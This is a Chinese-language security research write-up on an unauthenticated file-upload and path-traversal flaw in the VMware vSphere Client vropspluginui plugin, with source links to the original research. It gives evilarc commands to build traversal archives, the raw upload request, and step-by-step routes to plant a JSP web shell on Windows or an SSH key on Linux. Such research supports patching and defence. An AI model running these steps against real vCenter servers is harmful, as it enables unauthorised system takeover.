0x00 发现漏洞
技术大佬在对vSphere Client进行分析的过程中,像往常一样采用了黑盒和白盒两种方法进行测试,重点研究了未经授权即可利用的漏洞。从Web面板,尝试发送尽可能多的不同请求,所有请求都没有Cookie标头。
向发送未经授权的请求后/ui/vropspluginui/rest/services/*
,发现它实际上不需要任何身份验证。
未经授权即可访问URL
该Web应用程序的某些功能依赖于通常位于单独的.jar文件中的插件。例如,vropspluginui插件在文件vropsplugin-service.jar中实现。
每个插件必须在Web面板中指定哪些端点需要授权才能运行,而哪些端点不需要。该插件已配置为允许未经授权的用户访问其处理的任何URL。
该uploadOvaFile
函数负责URL
/ui/vropspluginui/rest/services/uploadova
代码的脆弱部分
此路径的处理程序执行了以下操作:
/tmp/unicorn_ova_dir + entry_name
。这是注意到.tar条目的名称未过滤的地方。它们仅与字符串“ / tmp / unicorn_ova_dir”连接;在结果位置创建一个文件。这意味着我们可以创建一个包含字符串“ ../”的存档条目,这将使我们能够将任意文件上传到服务器上的任意目录。
为了利用此骚操作来制作.tar存档,使用了evilarc实用程序。这是第二次派上用场了。
python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt
生成的归档文件包含一个名为的文件..\..\testFolder\testUpload.txt
。将其上载到URL,/ui/vropspluginui/rest/services/uploadova
并检查服务器的文件系统testFolder
中C:\
根目录下是否存在该文件夹及其嵌套文件。
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vSphereClient.local
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
{craftedArchive}
------WebKitFormBoundaryH8GoragzRFVTw1VD--
测试文件已成功上传
txt文件已成功上传,现在可以通过访问C:\testFolder\testUpload.txt
0x01 在Windows上获取RCE
为了能够在目标系统上执行任意命令,我们需要上载一个.jsp shell,该shell无需授权即可访问。要发现这样的位置:
首先,让我们通过上传文件testUpload.txt
并查看其属性菜单来检查我们的上传文件获得了哪些特权。我们可以看到它的所有者是用户“ vsphere-ui”。
上传文件的属性
在搜索候选位置时,目录C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\
(存在.jsp文件)看起来很有希望。
无需授权即可访问JSP脚本
检查未经授权的对jsp脚本的访问会产生成功。让我们检查一下vsphere-ui是否对该目录具有写权限。
目标文件夹的特定于安全性的属性
当然可以。我们可以上传特制的.jsp文件,以在系统上执行命令。
让我们创建一个包含精心制作的.jsp shell有效内容的存档,并将其发送到我们正在研究的URL。
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp
漏洞利用
我们的.jsp脚本已上传到服务器,这使我们有机会在具有NT AUTHORITY \ SYSTEM特权的系统上执行任意命令。
0x01 在Linux上获取RCE
对于Linux实例,情况有所不同。但是它们也很容易受到攻击,并允许外部用户上传任意文件。
在Linux上,我找不到允许同时上传和执行.jsp shell的目录。相反,存在另一种在服务器上实现命令执行的方法。
我们知道可以使用vsphere-ui用户的权限上传任意文件。如果我们将公钥上传到该用户的主目录,并尝试使用私钥通过SSH连接到服务器,该怎么办?
让我们检查SSH是否可以从外部访问:
nmap -p 22 vSphereLinux.local
目标端口已打开
第一步是生成密钥对:
ssh-keygen -t rsa
密钥对生成
然后使用生成的公共密钥创建.tar存档:
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys
进入命令行
- 我们可以使用vsphere-ui用户的权限访问服务器。
0x02 文章来源来源
Referer:
https://swarm.ptsecurity.com/unauth-rce-vmware/
https://github.com/ptoomey3/evilarc